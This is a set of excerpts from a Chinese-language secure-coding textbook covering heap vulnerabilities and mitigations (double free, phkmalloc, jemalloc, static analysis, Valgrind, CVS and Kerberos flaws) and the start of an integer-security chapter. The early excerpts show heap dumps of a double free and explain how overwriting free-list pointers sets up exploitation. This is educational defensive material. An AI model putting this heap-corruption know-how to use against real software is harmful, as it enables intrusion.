    {"text": "例4.24 h3被释放后堆的状态 freeing h3 (1st time): 00BA06B8 List head for FreeList[0] 00BA0178->00BA0708 Forward links: Chunk in FreeList[0] -> chunk: 00BA0178 Backward links: Chunk in FreeList[0] -> chunk: 00BA0178 List head for FreeList[8] 00BA01B8->00BA06A0 Forward links: Chunk in FreeList[8] -> chunk: 00BA01B8 Backward links: Chunk in FreeList[8] -> chunk: 00BA01B8 00BA0000+ 0680 03 00 08 00 00 01 08 00 61 61 61 61 61 61 61 61 ........aaaaaaaa 0690 61 61 61 61 61 61 61 61 08 00 03 00 00 00 08 00 aaaaaaaa........ 06a0 b8 01 ba 00 b8 01 ba 00 62 62 62 62 62 62 62 62 ........bbbbbbbb 06b0 05 00 03 00 00 01 08 00 63 63 63 63 63 63 63 63 ........cccccccc 06c0 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 cccccccccccccccc 06d0 63 63 63 63 63 63 63 63 03 00 08 00 00 01 08 00 cccccccc........ 06e0 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 dddddddddddddddd 06f0 02 00 03 00 00 01 08 00 65 65 65 65 65 65 65 65 ........eeeeeeee 0700 20 01 02 00 00 10 00 00 78 01 ba 00 78 01 ba 00 .......x...x... 至此为止，例子程序中所有的操作都是合法的。"},
    {"text": "例4.25 h3双重释放后堆的状态 freeing h3 (2nd time): 00BA06B8 List head for FreeList[0] 00BA0178->00BA06A0 Forward links: Chunk in FreeList[0] -> chunk: 00BA0178 Backward links: Chunk in FreeList[0] -> chunk: 00BA0178 00BA0000+ 0680 03 00 08 00 00 01 08 00 61 61 61 61 61 61 61 61 ........aaaaaaaa 0690 61 61 61 61 61 61 61 61 2d 01 03 00 00 10 08 00 aaaaaaaa-....... 06a0 78 01 ba 00 78 01 ba 00 62 62 62 62 62 62 62 62 x...x...bbbbbbbb 06b0 05 00 03 00 00 01 08 00 63 63 63 63 63 63 63 63 ........cccccccc 06c0 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 cccccccccccccccc 06d0 63 63 63 63 63 63 63 63 03 00 08 00 00 01 08 00 cccccccc........ 06e0 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 dddddddddddddddd 06f0 02 00 03 00 00 01 08 00 65 65 65 65 65 65 65 65 ........eeeeeeee 0700 20 01 0d 00 00 10 00 00 78 01 ba 00 78 01 ba 00 .......x...x... 这种情况表示漏洞利用的时机已经成熟。"},
    {"text": "例如，下述这种利用情况是可能发生的，如果一个缓冲区溢出的对象内存块是一个存在于备用链表中的空闲块，那么就允许攻击者将flink指针改写为任意值。"},
    {"text": "[2] 作为原始的Win32规范的一部分，微软推出了PE文件格式。 然而，PE文件来自更早的在VAX/VMS上建立的通用对象文件格式（Common Object File Format，COFF）。"},
    {"text": "未知 4.8 缓解策略 导致基于堆的漏洞的内存管理缺陷特别棘手，因为它们对程序的执行没有明显的影响，所以通常得不到检测。现在已经有很多缓解措施可以用来消除或减少基于堆的漏洞。很多用于防止基于栈的缓冲区溢出的措施，同样可以用来缓解基于堆的漏洞问题。 未知 4.8.1 空指针 一个明显的可以减少C和C++程序中漏洞数量的技术就是在指针所引用的内存被释放后，将此指针设置为NULL。空悬指针（指向已释放内存的指针）可能导致覆写已释放内存和双重释放漏洞。将指针置为NULL后，任何企图解引用该指针的操作都会导致致命的错误，这样就增加了在实现和测试过程中发现问题的几率。并且，如果指针被设置为NULL，内存可以被“释放”多次而不会导致不良后果。 虽然将指针设置为NULL可以显著地减少因覆写已释放内存和双重释放而导致的漏洞，但如果多个指针指向同一个数据结构的话这种方式就失效了。 在具有垃圾回收器的系统中，所有的指针或引用在其指定的数据不再需要时都应该被设置为NULL。否则，数据将不会被垃圾回收器收集。没有垃圾回收器的系统应该在引用某数据的最后一个指针或引用被删除前释放该数据。 未知 4.8.2 一致的内存管理约定 最有效地防止出现内存问题的方法是在编写内存管理代码时严守纪律。开发团队应该采用一个标准的方法并始终如一地应用它。如下一些良好的实践可供遵循： · 使用同样的模式分配和释放内存。 在C++中，在构造函数中进行所有的内存分配，在析构函数中进行所有的内存释放。在C中，定义具有相同功能的create（）和destroy（）函数。 · 在同一个模块中，在同一个抽象层次中分配和释放内存。 在子例程中释放内存会导致混乱：究竟内存是否被释放了？何时释放的？在哪儿释放的？ · 让分配和释放配对。 如果有多个构造函数，那么要确保析构函数可以正确地处理所有可能的情况。 坚定不移地采取一致的内存管理是避免内存错误的最佳方式。MIT的krb 52004-002号安全公告 [1] 提供了一个生动的例子，说明不一致的内存管理实践会如何导致软件漏洞。 在MIT的krb 5库中，krb 5-1.3.4及所有以前版本中的ASN.1解码器函数及其调用者未采用一致的内存管理约定。调用者期待解码器分配内存。一般情况下，调用者也有错误处理代码，在指向已分配内存的指针不为NULL的时候，该代码会将ASN.1解码器分配的内存释放掉。但是当遇到错误情况的时候，ASN.1解码器自身将会释放它自己分配的内存，但却并未把对应的指针设置为NULL。当一些库函数从ASN.1解码器中接收到错误时，它们会试图将该非空指针（指向已释放的内存）传递给free（），从而导致双重释放。 这个例子同样也展示了将空悬指针置为NULL的价值。 [1] 参见http://web.mit.edu/kerberos/advisories/MITKRB5-SA-2004-002-dblfree.txt。"},
    {"text": "未知 4.8.3 phkmalloc phkmalloc最初是由Poul-Henning Kamp在1995～1996年为FreeBSD所写的，后来被很多操作系统所采用，包括NetBSD、OpenBSD以及一些Linux发行版。 phkmalloc被设计成可以在一个虚拟内存系统中高效运作，这样就能执行更强的检查。更强的检查可以使一些应用程序中包含的内存管理错误得以发现，更强的检查还带来了这种思想：使用phkmalloc来暴露并避免malloc-API的错误和误用[Kamp 1998]。这是完全可能做到的，因为phkmalloc本质上是不信任程序员的。phkmalloc可以在不解引用指针的前提下判定传递给free（）或realloc（）的指针是否有效。phkmalloc不能检测是否传递了一个错误（但有效）的指针，但它可以检测所有不是由内存分配函数返回的指针。由于phkmalloc可以检测一个指针是已分配的还是空闲的，因此它可以检测所有的双重释放错误。对于未授权进程（unprivileged process）而言，这些错误都被当作警告看待，这意味着这些进程的存在并不会对内存管理的数据结构造成任何威胁。然而，启用“A”或“abort”选项则会导致这些警告被当作错误看待。一个错误就表示一个终点，会导致对abort（）的调用。表4.2展示了phkmalloc具有安全效应的一些可配置项。 表4.2 phkmalloc的安全实现 在CVS双重释放漏洞出现后（参见4.9.1节），对于敏感进程（例如，以setuid、setgid、root或wheel等任意定义的进程）而言，选项“A”就被自动设置并强制执行，如下所示。 if (malloc_abort || issetugid() || getuid() == 0 || getgid() == 0) 可以从“BSD Heap Smashing”[Smashing 2005]中找到对CVS服务器漏洞及phkmalloc的安全含义的更完整的描述。 由于指针检查取得了成功，phkmalloc又加入了“J（junk）”和“Z（zero）”选项，从而可以检测出更多的内存管理缺陷。J选项会在已分配的区域内填充0xd0，因为当这片区域内的4个字节转换成一个指针的时候，指针值（0xd0d0d0d0）引用的是内核保护的内存，这样进程就会中止。Z选项也给分配的区域填充垃圾数据，当用户请求的精确长度为0时则不进行操作。FreeBSD的phkmalloc版本还可以提供对所有内存分配和释放请求的跟踪，这是通过使用ktrace（）设施和U选项而做到的。 phkmalloc已经被用于发现fsck、ypserv、cvs、mountd、inetd以及其他一些程序中的内存管理缺陷。 phkmalloc通过扫描如下位置的标志来确定哪些选项被设置了。 1./etc/malloc.conf符号链接文件 2.MALLOC_OPTIONS环境变量 3.malloc_options全局变量 这些标志都是单个字母，大写表示打开，小写表示关闭。 未知 4.8.4 随机化 随机化基于这样的工作原理：击中一个移动的目标比击中一个静止的目标更困难。传统的malloc（）调用返回的内存分配地址在很大程度上是可预测的。通过让内存管理程序返回的内存块地址随机化，可以使对基于堆的漏洞利用变得更加困难。 在很多位置都可以进行内存地址随机化。在Windows和UNIX操作系统上，内存管理程序首先向操作系统请求内存页，然后根据应用程序进程的要求将请求来的空间分成更小的内存块进行管理。既可以使操作系统返回的内存页随机化，也可以使内存管理程序返回的内存块的地址随机化。 例如，OpenBSD内核使用mmap（）来分配或映射附加的内存页。每当执行一次分配时，在没有指定MAP_FIXED标志的情况下，mmap（）函数每次将返回一个随机的地址。malloc（）函数也可以被配置为返回随机的内存块。结果，程序每次运行都会展现出不同的地址空间行为，从而使攻击者更难猜测进行漏洞利用时所需覆写的内存结构的位置。由于随机化会让调试工作变得更加困难，因此通常在运行时可以选择启用或禁用。而且，随机化会导致不可预料的、并且往往是巨大的性能开销。 未知 4.8.5 OpenBSD OpenBSD UNIX变种在设计上对安全性有着额外的强调。OpenBSD采用phkmalloc并调整使其支持哨位页（guard pages）（放置于所有分配大于或等于一个页面的内存之间的用于检测溢出的未映射页）和随机化（randomization）技术。表4.3展示了OpenBSD版本的phkmalloc附加的安全选项。其默认选项为AJ。 表4.3 OpenBSD phkmalloc的安全选项"},
    {"text": "未知 4.8.6 jemalloc内存管理器 jemalloc内存管理器是Jason Evans为FreeBSD编写的，因为有对一个能利用对称多处理器（SMP）的libc高性能内存分配器的需要。jemalloc内存管理器的设计借鉴了phkmalloc，并在可扩展性和分裂行为方面有一个额外的强调。jemalloc被集成到FreeBSD并支持许多和phkmalloc相同的安全功能。它的性能随线程数成比例扩展，直至线程数达到处理器的数量。随后，性能保持不变[Evans 2006]。 要处理多个线程的同步，jemalloc将堆分为多个称为竞技场（arena）的子堆。使用4倍于处理器数量的竞技场，可以减少对任何单个场所的并发访问概率，从而增加可扩展性。 有多个版本的jemalloc可用，从FreeBSD、Linux、Windows和Mac OS的规范发布到Mozilla Firefox和NetBSD的默认内存管理器。 jemalloc内存管理器不实现断开链接或前向链接，已证明这些实现都催化了dlmalloc和Microsoft Windows分配器的漏洞利用。事实已经证明，利用的重点是如何强制内存分配函数返回一块内存，它可能指向已初始化的内存区域，并希望所涉及的区域可能持有对于目标应用程序的功能重要的对象，如虚拟指针（VPTRs）、函数指针和缓冲区大小[huku 2012]。考虑到在现代操作系统中存在的各种反漏洞利用机制（例如，地址空间布局随机化[ASLR]和数据执行保护[DEP]），这样的结果对攻击者来说可能比任意一个存储器写更有用得多[argp 2012]。 未知 4.8.7 静态分析 ISO/IEC TS 17961 [Seacord 2012a]定义了一组C安全编码规则，它们需要分析引擎诊断违反这些规则的情况，并把这种分析作为符合本规范的一个事项。这些规则为任何及所有符合该标准的静态分析实现的客户提供了一个最小覆写保证，并正被大量的分析器厂商采用。 ISO/IEC TS 17961包含许多为了检测使用标准C库函数的安全漏洞的规则，其中包括以下一些内容。 [accfree] 访问释放的内存 ：分配的动态存储块被内存管理函数释放以后，任何对已释放的内存的指针求值，包括解引用或作为算术运算、类型转换，或赋值语句右侧的一个操作数，都应被诊断出来。 [nullref] 解引用作用域外的指针 ：对被污染的或作用域外的指针解引用应被诊断出来。 [fileclose] 当文件或动态内存不再需要时 ，未关闭它们 ：一个对标准的内存分配函数的调用应在最后一个存储该调用的返回值的指针对象的生存期结束后被诊断出来，如果在此之前没有用该指针值调用一个标准的内存释放函数。 [liberr] 未检测和处理标准库错误 ：如果有分支条件未检测或忽视了一个标准库错误条件，应被诊断出来。表4.4列出了标准C语言的内存分配函数和它们在成功和出错时的返回值。 [libptr] 库函数形成无效指针 ：一个对标准的内存分配函数的调用被推定为用于T*类型，当它出现在任何下列上下文时。 ·在赋值语句右侧的操作数中，赋值给一个T*类型的对象 ·在一个T *类型对象的初始化器中 ·在作为一个T *类型参数被传递的表达式中 ·在一个返回类型为T *的函数的return语句的表达式中 表4.4 库函数与返回值 当调用一个标准内存分配函数的大小参数为整数n且被推定为用于T*类型时，如果n ﹤ sizeof（T），那么这种调用应被诊断出来。 [dblfree] 多次释放内存 ：多次释放内存应被诊断出来。 [uninitref] 引用未初始化的内存 ：用类型是unsigned char以外的左值访问未初始化的内存应被诊断出来。 为了在最大程度上可行，一个静态分析对于强制执行的规则应该是可靠和完备的。分析器的可靠（对于一个特定的规则）是指，如果它的结果不存在漏报，这意味着它能够在整个程序中找到违反规则的所有情况。如果分析器的结果不存在误报，或假警报，那么它被认为是完整的。对于需要最少的人力投入，而且在大规模的代码库上执行的自动化工具，经常会在漏报和误报之间权衡。"},
    {"text": "Purify和PurifyPlus是由IBM提供的运行时分析工具（前身是Rational提供的）。 Purify可以执行内存破坏和内存泄漏检测功能，支持Windows和Linux系统[IBM 2012a]。"},
    {"text": "图4.21 内存访问错误检查（资料来源：[Rational2003]） 对于下面的代码，如果提供一个超长字符串作为输入，Valgrind会检测出缓冲区溢出。"},
    {"text": "1 /* caesar.c */ 2 #define LINELENGTH 80 3 /* ... */ 4 if (!(inbuf = malloc(LINELENGTH))) 5 errx(1, \"Couldn't allocate memory.\"); 6 while (fgets(inbuf, 100, infile) 在溢出时，Valgrind产生一个类似于下面的消息，并指出在80个字节的内存块之后有写入的字节。 [... 大量的无效的读/ 写消息...] ==22501== Invalid write of size 1 ==22501== at 0x401EB42: memcpy(mc_replace_strmem.c:406) ==22501== by 0x4085102: _IO_getline_info(in /lib/tls/... ==22501== by 0x4084FEE: _IO_getline(in /lib/tls/... ==22501== by 0x4083F18: fgets(in /lib/tls/i686/cmov/libc-2.3.6.so) ==22501== by 0x804888D: main (caesar.c:46) ==22501== Address 0x41603A7 is 15 bytes after block of size 80 alloc'd ==22501== at 0x401C621: malloc (vg_replace_malloc.c:149) ==22501== by 0x80487CA: main (caesar.c:43) [...] ==22501== ERROR SUMMARY: 52 errors from 7 contexts ==22501== malloc/free: in use at exit: 2,032 bytes in 27 blocks. ==22501== malloc/free: 27 allocs, 0 frees, 2,032 bytes allocated. Valgrind也可以在下面的程序片段中检测出使用未初始化的值。 1 /* 在caesar.c 的decrypt() 中*/ 2 int i; 3 /* ... */ 4 if ((rot < 0) || ( rot >= 26)) 5 errx(i, \"bad rotation value\"); 在这种情况下，Valgrind产生一个消息，提示i的值未被初始化。 ==20338== Syscallparamexit_group contains uninitialized byte(s) ==20338== at 0x40BC4F4: _Exit (in /lib/tls/i686/cmov/libc-2.3.6.so) ==20338== by 0x40F8092: errx(in /lib/tls/i686/cmov/libc-2.3.6.so) ==20338== by 0x80488CC: decrypt (caesar.c:62) ==20338== by 0x8048848: main (caesar.c:51) ==20338== ==20338== ERROR SUMMARY: 1 errors from 1 contexts Valgrind也有助于检测是否存在内存泄漏。"},
    {"text": "==6436== 1,300 bytes in 13 blocks are lost in loss record 4 of 4 ==6436== at 0x4022AB8: malloc (vg_replace_malloc.c:207) ==6436== by 0x80488FB: decrypt (caesar.c:64) ==6436== by 0x8048863: main (caesar.c:51) ==6436== ==6436== LEAK SUMMARY: ==6436== definitely lost: 1,432 bytes in 27 blocks. ==6436== possibly lost: 0 bytes in 0 blocks. ==6436== still reachable: 704 bytes in 2 blocks. ==6436== suppressed: 0 bytes in 0 blocks. Insure++ 。"},
    {"text": "Parasoft Insure++是一个自动化应用程序运行时测试工具，它可以检测内存破坏（memory corruption）、内存泄漏、内存分配错误、变量初始化错误、变量定义冲突、指针错误、库错误、I/O错误以及逻辑错误等[Parasoft 2004]。"},
    {"text": "·读取或写入已释放的内存 ·作为参数给函数传递悬空指针或者从函数返回悬空指针 ·多次释放同一内存块 ·试图释放静态分配的内存 ·释放栈内存（局部变量） ·向free（）传递一个并不指向一个内存块起始位置的指针 ·以NULL或未初始化的指针值为参数调用free（） ·向malloc（）、calloc（）、realloc（）或free（）传递数据类型错误的实参 应用程序验证程序（Application Verifier） 。"},
    {"text": "未知 4.9 值得注意的漏洞 本节描述一些因对动态内存管理使用不当而导致的著名的漏洞。基于堆的缓冲区溢出相对常见。双重释放漏洞比较新一点，所以这方面已知案例较少。覆写已释放内存尚未被视作单独门类的漏洞，因此关于其发生频次的数据目前尚未可知。 未知 4.9.1 CVS缓冲区溢出漏洞 并发版本控制系统（Concurrent Versions System，CVS）是一种被广泛应用的源代码维护系统。在CVS处理入口行（entry line）内的修改和未修改标志的插入操作中，存在一个堆缓冲区溢出漏洞。该漏洞的描述参见： ·US-CERT计算机技术安全警报TA 04-147A，www.us-cert.gov/cas/techalerts/TA 04-147A.html ·US-CERT漏洞记录VU#192038，www.kb.cert.org/vuls/id/192038 当CVS处理一个入口行时，会为该入口行分配一个多余的内存字节，用来表示其是已修改的还是未修改的。CVS并不会检查是否已经为这个标志分配了内存字节，从而会产生差异缓冲区溢出漏洞。通过多次调用一个有漏洞的函数并且向入口行内插入特殊的字符，远程攻击者就能够覆写多个内存块。在某些环境下，CVS服务器进程由Internet服务后台监控程序（inetd）启动，并可能以root权限运行。 未知 4.9.2 Microsoft数据访问组件 远程数据服务（Remote Data Service，RDS）组件为客户对后端数据库服务请求提供了一个中介，从而允许Web站点对客户请求应用业务逻辑。 RDS组件中的数据存根函数（data stub function）含有一个对缓冲区不带检查的写操作。该函数解析传入的HTTP请求并生成RDS命令。这个缓冲区溢出漏洞可以被利用，从而导致在已分配内存中发生缓冲区溢出。有关这一漏洞的描述参见： ·微软安全公告MS02-065，www.microsoft.com/technet/security/bulletin/MS 02-065.mspx ·CERT公告CA-2002-33，www.cert.org/advisories/CA-2002-33.html ·CERT漏洞记录VU#542081，www.kb.cert.org/vuls/id/542081 这个漏洞有两种利用途径。第一种是攻击者对一个有漏洞的、易遭攻击的服务（如IIS服务器）发送恶意的HTTP请求。如果RDS被启用了，那么攻击者就可以在IIS服务器上执行任意代码。在Windows 2000和Windows XP上，RDS默认是被禁用的。在其他平台上，可以参照微软安全公告上的指示禁用RDS。 另一种利用该漏洞的方式就是建立一个恶意的Web站点，并且发布一个页面，该页面可以通过一个客户端程序（如IE浏览器），来利用MDAC RDS存根中的缓冲区溢出。当用户浏览该恶意Web网页时，攻击者就可以运行任意的代码。在Windows XP之前发布的大多数运行IE浏览器的系统都容易遭受这类攻击。 未知 4.9.3 CVS服务器双重释放漏洞 CVS服务器中的一个双重释放漏洞允许远程攻击者执行任意的代码或命令，或者导致一个有漏洞的系统发生拒绝服务（denial of service）。有关该漏洞的描述参见： ·CERT公告CA-2003-02，www.cert.org/advisories/CA-2003-02.html ·CERT漏洞记录VU#650937，www.kb.cert.org/vuls/id/650937 CVS服务器组件包含一个双重释放漏洞，该漏洞可以被一套精心设计的目录更改请求触发。当处理这些请求时，一个错误检测函数可能试图对同一块内存多次调用free（）。如本章所述，对已释放内存再次释放会导致堆破坏，这也可能被攻击者利用以执行任意的代码。 未知 4.9.4 MIT Kerberos5中的漏洞 在MIT对Kerberos5协议的实现中存在若干个双重释放漏洞。对这些漏洞的描述参见： ·MIT krb5的安全公告2004-002，http://web.mit.edu/kerberos/advisories/MITKRB5-SA-2004-002-dblfree.txt ·US-CERT计算机技术安全警报TA04-247A，www.us-cert.gov/cas/techalerts/TA04-247A.html ·US-CERT漏洞记录VU#866472，www.kb.cert.org/vuls/id/866472 特别是，VU#866472描述了MIT Kerberos5库中krb5_rd_cred（）函数存在的双重释放漏洞。在krb5-1.3.2以前发行版本的krb5_rd_cred（）实现中，包含显式释放“由ASN.1解码器函数decode_krb5_enc_cred_part（）所返回的”缓冲区的代码（当解码器返回一个错误时执行）。由于发生错误时，解码器函数自身也会释放该缓冲区，因此造成了双重释放漏洞。由于在Kerberos凭据（credential）的加密部分未成功执行解密的情况下，decode_krb5_enc_cred_part（）函数不会得到调用，因此攻击者要发动攻击，首先还必须通过身份鉴别。 未知 4.10 小结 C和C++程序中的动态内存管理容易产生软件缺陷和安全缺陷。虽然基于堆的漏洞比基于栈的漏洞更难以利用，但那些有着内存相关安全缺陷的程序仍然可能遭受攻击。将良好的程序设计实践与动态分析相结合，可以帮助用户在开发过程中识别和消除这些安全缺陷。 未知 第5章 整数安全 与Douglas A.Gwyn、David Keaton和David Svoboda合著 [1] Everything good is the transmutation of something evil: every god has a devil for a father. —Friedrich Nietzsche.Smtliche Werke:Kritische Studienausgabe [1] Douglas A.Gwyn从美国陆军退休并且是INCITS PL22.11的名誉会员。David Keaton是卡内基梅隆大学软件工程学院(SEI)CERT项目技术团队的高级成员并且是INCITS PL22.11的主席。David Svoboda是SEI的CERT项目技术团队的成员。"},
    {"text": "未知 5.1 整数安全导论 整数由包括0的自然数（0,1,2,3.…）和非零自然数的负数（–1.–2.–3.…）构成。从实数的一个子集来看，整数是能够用不带分数或小数部分写出的数，并且落在集合{…–2,–1.0,1,2…}之中。例如，65、7和–756都是整数，而1.6和1不是整数。 整数已日益成为C程序中被低估的漏洞来源。这主要是因为不同于软件工程中的其他边界情形，整数的边界溢出问题通常被有意地忽略了。大部分从高等院校出来的程序员都明白整数是有定长限制的，可他们要么以为整数的表示范围已经够用，要么以为若对每个算术操作的结果都进行检测的话，代价太大，无法接受。因此，商业软件中的整数溢出情形基本上完全没有得到检测。 当开发对安全要求严格的系统时，如果一个程序仅对于一个给定范围内的期望输入运行良好，那我们就不能奢望当攻击者找到可以由其产生非正常结果的输入值时，该程序仍能正常工作。当然，整数的数字化表示并非无瑕。当程序对一个整数求出了一个非期望中的值（也就是说，结果并不是你用纸笔演算时所得到的），并进而将其用于数组索引、大小或者是循环计数器时，软件漏洞就出现了。 由于在大多数C软件系统的开发中都没有进行系统的整数范围检查，因此，因整数导致的安全缺陷问题肯定存在，其中一些缺陷很可能会成为软件系统的漏洞。 未知 5.2 整数数据类型 整数类型提供了整数数学集合的一个有限子集的模型。一个具有整数类型的对象的值是附着在这个对象上的数学值。一个具有整数类型的对象的值的表示方式（representation）是在为该对象分配的存储空间中该值的特定位模式编码。 C提供了丰富的整数类型（带有用关键字指定的名称），并且允许实现定义其他扩展整数类型（带有非关键字的保留标识名称），两者都可以包含在标准头文件的类型定义中。 标准的整数类型包括所有从早期的Kernighan和Ritchie C（K&R C）就已经存在的广为人知的那些整数类型。这些整数类型允许与底层机器的架构紧密对应。扩展整数类型是在C标准中定义的带有定长约束的整数类型。 在C中每个整数类型的对象需要一个固定的存储字节数。<limits.h>头文件中的常量表达式CHAR_BIT，给出了一个字节中的位数，它必须至少为8，但可能会更大，这取决于具体的实现。除unsigned char型外，不是所有的位都必须用来表示值，未使用的位被称为填充（padding）。允许填充，以便实现可适应硬件的怪癖，如跳过在多字表示中间的一个符号位。 用于表示一个给定类型的值的非填充位数被称为该类型的宽度（width），我们用w（type）来表示，或有时只用N表示。一个整数类型的精度（precision）指它用来表示值的位数，不包括任何标志位和填充位。 例如，在诸如x86-32的架构中没有用填充位，有符号类型的精度为w（type）–1，而对于无符号的类型，精度等于w（type）。 还有其他表示整数的方法，如任意精度或大数（bignum）算术。这些方法在需要时动态分配存储空间，以适应正确表示值所需的宽度。然而，C标准不指定任何此类模式，并且，不像C++，内置的运算符，如“+”和“/”不能被重载和用于含有这些抽象数据类型的表达式。比如公共密钥加密的应用程序通常使用这样的模式来规避C的固定大小限制。 标准的整数类型由一组有符号的整数类型和相应的无符号整数类型组成。"},
    {"text": "未知 5.2.1 无符号整数类型 C要求无符号整数类型值使用无偏移的纯二进制系统表示。这意味着，二进制数的值是 。最右侧位的权数是2 0 ，其左侧邻位的权数是2 1 ，以此类推。二进制数的值是所有已设 置的位的（加权）总和。这意味着，全零位始终表示值0，值1表示除了零值位外还有一个值为1的位，值为1的位是最低有效（least significant）位（即最右侧位）。无符号整数类型表示的数值范围从0到上限2 w（type） –1。 所有的位运算符（|、&、^、~）都把数位作为纯二进制看待，如例5.1所示。 例5.1 位运算符：13^6=11 1 1 0 1 = 13 ^ 0 1 1 0 = 6 -------------- 1 0 1 1 = 11 无符号整数是计数器的自然选择。标准的无符号整数类型（按照它们的长度非递减排序）是 1.unsigned char 2.unsigned short int 3.unsigned int 4.unsigned long int 5.unsigned long long int 关键字int可以省略，除非它是唯一存在的整数类型的关键字。 例如，按长度非递减排序表示，unsigned char不能长于unsigned long long int（长度可以相同）。许多不同的宽度反映了现有的硬件，随着时间的推移，寄存器也变得更大，所以根据需要引入了越来越长的类型。 特定于编译器和平台的整数极值记录在<limits.h>头文件中。请了解这些限制，并牢记这些值都是特定于平台的。出于可移植性的考虑，在代码中应该使用具名常量而不是实际的值。在表5.1中的“最小值”（minimum magnitude）列确定每个无符号整数类型保证的可移植范围，也就是要求实现至少要达到的一个最大值。这些值被实现定义的具有相同符号的值所取代，如表中x86-32架构所示的那些值。 表5.1 特定于编译器和平台的整数极值 因为这些都是无符号的值，所以最小幅值始终是0，并且没有为它定义的常数。 标准的无符号类型的最小宽度分别是：unsigned char（8）、unsigned short（16）、unsigned int（16）、unsigned long（32）、unsigned long long（64）。 C增添了一类布尔型。声明为_Bool类型的对象对存储值0和1是足够大的，并作为无符号类型。当任何标量的值被转换为_Bool时，如果进行比较的值等于0，则结果为0，否则结果为1。"},
    {"text": "未知 5.2.2 回绕 涉及无符号操作数的计算永远不会溢出，因为不能用结果为无符号整数类型表示的结果值被该类型可以表示的最大值加1之和取模减（reduced modulo）。对于加法和乘法，这相当于假装附有额外的最高有效位（most significant bit），以便有足够空间表示计算结果，随后再丢弃这些假装的位。 你可以使用图5.1所示的4位无符号整数轮直观地理解回绕。 在轮上按顺时针方向将值递增产生的值紧挨着它。需要注意的是，对一个无符号的整数在其最高值（15）的递增结果是该类型的最小值（0）。这是一个回绕（wraparound）的例子，如例5.2中所示。 图5.1 4位无符号整数表示 例5.2 回绕 1 unsigned int ui; 2 ui = UINT_MAX; // 例如, 在x86-32 上 4,294,967,295 3 ui++; 4 printf(\"ui = %u\\n\", ui); // ui = 0 5 ui = 0; 6 ui--; 7 printf(\"ui = %u\\n\", ui); // 在x86-32 上 ui = 4,294,967,295 因为回绕，一个无符号整数表达式永远无法求出小于零的值。因此，C代码测试可能总是为真或总是为假。在例5.3中，i永远不能取到负值，所以这个循环永远不会终止。 例5.3 无符号整数表达式和回绕式 for (unsigned i = n; --i >= 0; ) // 将永远不会终止 这样的测试有可能是编码错误，但根据语言的定义，这种回绕诱导的无限循环不被认为是错误。从一个预定算法的角度来看，它是不是错误取决于算法，对于进行计数的东西（++n），这当然是一个错误。如果你已经清点了32768个事件，在注册了下一个事件后，就不要期望代码的表现仿佛没有事件发生一样。 2004年12月25日，星期六，发生了这种类型的软件故障，Comair航空公司被迫停止了所有的业务，1100个航班无法起飞。该事故乃是Comair所使用的机组调度软件崩溃所致。软件失败归因于一个16位的计数器，在任何月份，它最多只能表示32768次改变。而该月早期频繁的风暴造成过多的机组重新安排，从而最终导致该16位计数器溢出。 要避免这种意外，重要的是在所执行的可能会导致回绕的操作之前或（有时）之后，对回绕进行检查。来自<limits.h>的限制是有益的，但单纯使用它们不起作用。例5.4显示了一个对回绕的检查。 例5.4 对回绕的测试 1 unsigned int i, j, sum; 2 if (sum + i > UINT_MAX) // 不会发生, 因为 sum + i 回绕了 3 too_big(); 4 else 5 sum += i; 你必须用消除回绕可能性的方式来实现测试，如下所示。 1 if (i > UINT_MAX - sum) // 好很多! 2 too_big(); 3 else 4 sum += i; 当针对无符号最小值0进行检查时，也存在同样的问题，如下所示。 1 if (sum - j < 0) // 不会发生, 因为 sum – j 回绕了 2 negative(); 3 else 4 sum -= j; 正确的测试方法如下所示。 1 if (j > sum) // 正确 2 negative(); 3 else 4 sum -= j; 除非使用<stdint.h>中明确指定宽度（exact-width）的类型（参见5.2.8节），否则回绕使用的宽度取决于实现，这意味着结果会因平台而异。除非程序员把这当回事，否则很可能发生可移植性错误。 表5.2指出了会导致回绕的各种操作。 表5.2 运算符回绕"},
    {"text": "未知 5.2.3 有符号整数类型 有符号整数用于表示正值和负值，其值的范围取决于为该类型分配的位数及其表示方式。 在C中，除了_Bool类型以外，每种无符号类型都有一种对应的占用相同存储空间的有符号类型。 标准的有符号整数类型（按照长度非递减排序，例如，long long int不能短于long int）包括如下类型。 1.signed char 2.short int 3.int 4.long int 5.long long int 除了char类型，signed可以忽略（无修饰的char的表现要么如同unsigned char，要么如同signed char，这取决于实现，并且出于历史原因，它被视为一个单独的类型）。int可以省略，除非它是唯一存在的关键字。 而且，所有足够小的非负值在对应的有符号和无符号类型中有同样的表示方式。一个称为符号位的位被当作最高位，用于指示所表示的值是否为负。C标准允许的负数表示方法有三种，分别是原码表示法（sign and magnitude）、反码表示法（one'scomplement）和补码表示法（two'scomplement）。 原码表示法 。符号位表示值为负（符号位设置为1）还是为正（符号位设置为0），其他值位（非填充）表示以纯二进制表示法（与无符号类型相同）表示的该值的幅值。若要取一个原码的相反数，只要改变符号位。 例如，在纯二进制表示法或原码中，二进制数0000101011等于十进制数43，要取该值的相反数，只要设置符号位：二进制数1000101011等于十进制数–43。 反码表示法 。在反码表示法中，符号位具有权数–（2 N–1 –1），其他值位的权数与无符号类型相同。例如，在反码中，二进制数1111010100等于十进制数–43。假定宽度是10位，符号位具有权数–（2 9 –1）即–511，其余位等于468，于是468–511=–43。 若要取一个反码的相反数，需要改变每一位（包括符号位）。 反码表示法 整数的反码表示法取代原码表示法是因为前者的电路更容易实现。许多早期的计算机，包括那些由Digital、CDC和UNIVAC制造的产品，都使用整数的反码表示法。 一个负整数的反码表示法的形成方法是写下正值的纯二进制表示，然后对每一位取反。（把所有的1替换为0，所有的0替换为1，符号位也要取反。） 两个用反码表示的整数相加包含两个步骤： 1.对这两个补码表示的整数执行二进制加法。 2.如果有一个1跨过最高有效位，那么把它加到和的最低有效位上。 反码表示法加法 反码表示法存在的问题包括需要加上进位数字并且0有两种不同的位表示法。 补码表示法 。在补码表示法中，符号位具有权数–（2 N–1 ），其他值位的权数与无符号类型相同。例如，在补码中，二进制数1111010101等于十进制数–43。假定宽度是10位，符号位具有权数–（2 9 ）即–512，其余位等于469，于是469–512=–43。 在不同的平台上，所有三种表示法都在用。但是，在桌面系统上，补码表示法最流行。 若要取一个补码的相反数，首先构造反码的相反数，然后再加1（在需要时进位）。 表5.3展示了一个8位有符号整数的无填充位（即N=8）补码表示法的二进制及十进制表示。从int的二进制表示形式最右侧位开始向左数，除了最左侧的位的权数为–2 i 外，位数i从0递增到N，每一位的权数是2 